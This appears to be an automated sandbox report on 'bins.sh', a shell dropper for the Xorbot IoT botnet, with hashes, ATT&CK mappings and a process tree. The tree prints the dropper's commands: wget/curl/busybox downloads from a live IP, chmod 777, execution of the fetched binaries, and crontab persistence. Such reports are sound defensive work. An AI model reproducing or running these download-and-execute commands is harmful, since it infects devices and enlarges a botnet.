Analysis
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max time kernel
299s -
max time network
306s -
platform
debian-9_armhf -
resource
debian9-armhf-20240611-en -
resource tags
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submitted
03/04/2025, 22:32
General
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Target
bins.sh
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Size
10KB
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MD5
2d3354e4454c0aa1442c15ae4db570d7
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SHA1
fa41bc59a61d70fed29d83a9fadcaf5f29a0306c
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SHA256
a6be12c3c8dd2355975f18dbeb450c1130df50f893548282b427c4933e1f15cf
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SHA512
95586720bce8db9d47b64c0e4555ba8d6dbc2899295a18ef6cd7f80558ee39e4088f3b66a22e49846ab83dc5d6a5a07604f5b0ed412b9b40a3ff9867498d8e09
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SSDEEP
192:vT3jmvfO3m3C3x3+3e35BNkJpg35J5B5uFpYb+2va224Gm6eQmp9lLWLqLzm+B+k:vT3jmvfO3m3C3x3+3e35BNkJpg3bvJb7
Malware Config
Signatures
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Detects Xorbot 5 IoCs
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Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
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Xorbot family
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File and Directory Permissions Modification 1 TTPs 5 IoCs
Adversaries may modify file or directory permissions to evade defenses.
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Executes dropped EXE 5 IoCs
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Renames itself 1 IoCs
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Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
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Enumerates running processes
Discovers information about currently running processes on the system
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Checks CPU configuration 1 TTPs 5 IoCs
Checks CPU information which indicate if the system is a virtual machine.
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Reads runtime system information 64 IoCs
Reads data from /proc virtual filesystem.
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System Network Configuration Discovery 1 TTPs 5 IoCs
Adversaries may gather information about the network configuration of a system.
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Writes file to tmp directory 15 IoCs
Malware often drops required files in the /tmp directory.
Processes
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/tmp/bins.sh/tmp/bins.sh1⤵
- Executes dropped EXE
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/bin/rm/bin/rm bins.sh2⤵
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/usr/bin/wgetwget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
- File and Directory Permissions Modification
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/tmp/tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G./tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
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/bin/rmrm tCV5vO5tw9z8XJnNLCPzh9rWcP75X3gc4G2⤵
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/usr/bin/wgetwget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Checks CPU configuration
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
- File and Directory Permissions Modification
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/tmp/59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv./59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
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/bin/rmrm 59fT4e3UEmL9oGFEi4nhEPDL9v4liwzVzv2⤵
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/usr/bin/wgetwget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
- File and Directory Permissions Modification
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/tmp/l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E./l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
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/bin/rmrm l8bIo6MX0E2xzUa8GlxxB3QQT28nJjEe7E2⤵
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/usr/bin/wgetwget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- Writes file to tmp directory
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/bin/chmodchmod 777 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
- File and Directory Permissions Modification
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/tmp/1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki./1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
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/bin/rmrm 1Url4Vmjm3jutDoL4IALrwVcTgwtmfdAki2⤵
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/usr/bin/wgetwget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/usr/bin/curlcurl -O http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- Checks CPU configuration
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/busybox/bin/busybox wget http://77.90.153.218/bins/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
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/bin/chmodchmod 777 z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- File and Directory Permissions Modification
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/tmp/z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr./z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- Renames itself
- Reads runtime system information
- System Network Configuration Discovery
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/bin/shsh -c "crontab -l"3⤵
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/usr/bin/crontabcrontab -l4⤵
- Reads runtime system information
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/bin/shsh -c "crontab -"3⤵
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/usr/bin/crontabcrontab -4⤵
- Creates/modifies Cron job
- Reads runtime system information
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/bin/rmrm z9GdbmiPoT1CYXtsXr4DYxGfZQoAwH2Upr2⤵
- System Network Configuration Discovery
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/usr/bin/wgetwget http://77.90.153.218/bins/kcZ7wDS9Ey1472EBe1Yh1UdgSWJCDpmXmX2⤵
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Network
MITRE ATT&CK Enterprise v15
Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Virtualization/Sandbox Evasion
1System Checks
1Replay Monitor
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Downloads
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Filesize
111KB
MD5701e7a55a4f3650f5feee92a9860e5fc
SHA16ce4a7f0dc80fe557a0ace4de25e6305af221ed4
SHA256ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
SHA5127352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11
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Filesize
117KB
MD5849fa04ef88a8e8de32cb2e8538de5fe
SHA1c768af29fe4b6695fff1541623e8bbd1c6f242f7
SHA2568bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579
SHA5122d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf
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Filesize
99KB
MD59438d9bc392bcf300a5583b6df5bc8f6
SHA1375a6ae34b516f6f3eeea8030c4084f585017efa
SHA25668e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
SHA5121f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860
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Filesize
107KB
MD5eb9c3a0de91fcf16ba17cb24608df68c
SHA109d95a7d70d5e115d103be51edff7c498d272fac
SHA256dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
SHA5129e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27
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Filesize
141KB
MD53ca8decdb1e52c423c521bfff02ac200
SHA18621ecd6807109b8541912ad9e134f6fb49bfd48
SHA256dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f
SHA512b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a
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Filesize
210B
MD553e137a68e1da02f248d0df862fdad2d
SHA15d8f9a00866806af96dd5e35c3e40255248a2051
SHA256a74a319ab314c75df0f62856616c1c0ffd2d880b7798c46e3a476ff4c5298fa3
SHA512d24f9f459b44eb15403a15a882d6b31476ac21b56d2920ecfd78d381c2b873741bf253bd26eb4c8c18379aade26003364ceacce01bd34d00bcc2a6b360766622